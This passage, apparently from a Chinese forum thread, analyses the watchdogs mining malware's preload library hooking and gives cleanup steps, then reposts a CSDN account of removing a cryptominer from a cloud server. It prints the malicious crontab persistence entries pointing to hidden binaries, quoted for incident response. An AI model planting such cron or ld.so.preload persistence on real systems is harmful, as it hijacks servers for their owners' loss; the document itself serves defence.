三、病毒的攻击在第一部分可以看到，该恶意链接库覆盖了比较多的系统库函数，但是其中大部分函数都是为了保护该恶意链接库而覆盖的，具有攻击作用的只有一个函数，就是 access 函数，看一下 access 函数的部分代码(为了安全考虑隐藏了病毒的脚本地址)：https://img-blog.csdnimg.cn/20190225170723912.PNG?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1lvdW5nQ2Fpbg==,size_16,color_FFFFFF,t_70可以看到，在 access 函数里，病毒作者丧心病狂的添加了三个 crontab 脚本，该脚本会执行病毒进程 watchdogs，从而达到添加 ld.so.preload 和 libioset.so 的目的。原本 access 函数的作用是执行文件时判断文件是否可操作的，所以整个系统中调用 access函数的地方非常多而且非常频繁，因此一旦病毒注入成功，那么脚本添加过程就会非常频繁，就会出现删除 crontab 脚本但是过个几秒钟又出现的现象，而删除 crontab 脚本然后立马锁定文件确实能起到一定的抑制病毒的作用。
四、病毒运行过程到这里大概就可以整理出病毒的整个运行过程了：https://img-blog.csdnimg.cn/2019022517315260.PNG?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1lvdW5nQ2Fpbg==,size_16,color_FFFFFF,t_70首先 watchdogs 病毒进程会添加 ld.so.preload 和 libioset.so，这样就会覆盖掉原有的系统库函数，类似在原有的系统库函数外面加了一个壳，当某个地方执行 access 函数的时候，病毒脚本就会被添加进 crontab ，然后 crontab 执行病毒脚本，而脚本会执行 watchdogs 病毒进程，如此反复。仅删除 crontab 脚本并不能起到作用，然后因为病毒的自我保护措施，覆盖了几乎所有能操作到病毒的命令，所以也很难通过系统命令来清除病毒链接库。因此，要想解决掉该病毒，可以先清除 crontab 脚本并锁定文件，防止执行病毒脚本，但是因为 access 函数执行非常频繁，所以这个过程必须要快，而且可能需要执行多次，因为可能失败。然后清除病毒链接库，但是因为系统命令都已被劫持，所以平常的调用系统命令并不能起到效果，但是可以通过静态编译 busybox 然后执行命令来达到清除文件的目的。以上就是该病毒的原理，感谢同事的努力和分享，我才能完成这次病毒分析。 回复 8# network
记一次被恶意挖矿程序占满linux服务器cpu的经历
https://csdnimg.cn/release/blogv2/dist/pc/img/original.png京河小蚁 2020-03-16 11:39:04 https://csdnimg.cn/release/blogv2/dist/pc/img/articleReadEyes.png 2409 https://csdnimg.cn/release/blogv2/dist/pc/img/tobarCollect.png 收藏
分类专栏： linux 文章标签： 运维 服务器 linux centos
版权
前奏一天，小编发现自己的买的百度云的服务器变的非常卡，本来就是活动机1c2g；这要找原因啊，敲一个`ll`命令，都要卡几秒钟，明显服务器的cpu在干其他的事，使用top命令，果不其然，真的是在服务器弱小的配置承担了它不应该抗的恶霸程序，接下来找问题：服务器cpu居高不下，跳都不跳；内存也差不多了，服务器上只有代理了一个静态网站和测试玩的mysqlhttps://img-blog.csdnimg.cn/20200316112650734.png通过百度云控制台查看时间，什么时候发生的https://img-blog.csdnimg.cn/20200316112909922.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3UwMTA3NzI4ODI=,size_16,color_FFFFFF,t_70接下来，这肯定有定时任务啊,这主要是在top命名里面，我看到占用cpu最多的并始终保持在98%以上的程序是cron，那就找呗[*]
crontab -e#这个定时脚本里面一般恶意脚本不会在这里
[*]
[*]
cd /var/spool/cron #有很多脚本都会在这里
果然是在/var/spool/cron下面，有一个仿造的mysql文件https://img-blog.csdnimg.cn/20200316113343374.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3UwMTA3NzI4ODI=,size_16,color_FFFFFF,t_70在这个里面发现了定时脚本* * * * * /home/mysql/.bashtemprc/a/upd>/dev/null 2>&1
@reboot /home/mysql/.bashtemprc/a/upd>/dev/null 2>&1
5 8 * * 0 /home/mysql/.bashtemprc/b/sync>/dev/null 2>&1
@reboot /home/mysql/.bashtemprc/b/sync>/dev/null 2>&1
0 0 */3 * * /tmp/.X21-unix/.rsync/c/aptitude>/dev/null 2>&1确定好位置之后，挨个看它们还有没有引用其他的程序，然后全部删除将cron所占的pid kill掉，接下来应该没问题了果然cpu正常了https://img-blog.csdnimg.cn/2020031611364674.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3UwMTA3NzI4ODI=,size_16,color_FFFFFF,t_70内存正常了，内外的宽带占用也正常了https://img-blog.csdnimg.cn/20200316113733115.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3UwMTA3NzI4ODI=,size_16,color_FFFFFF,t_70最后，我还得把这台服务器的密码全部改了，将mysql的用户密码也改了，告一段落，安装superset真费劲。
页:
[1]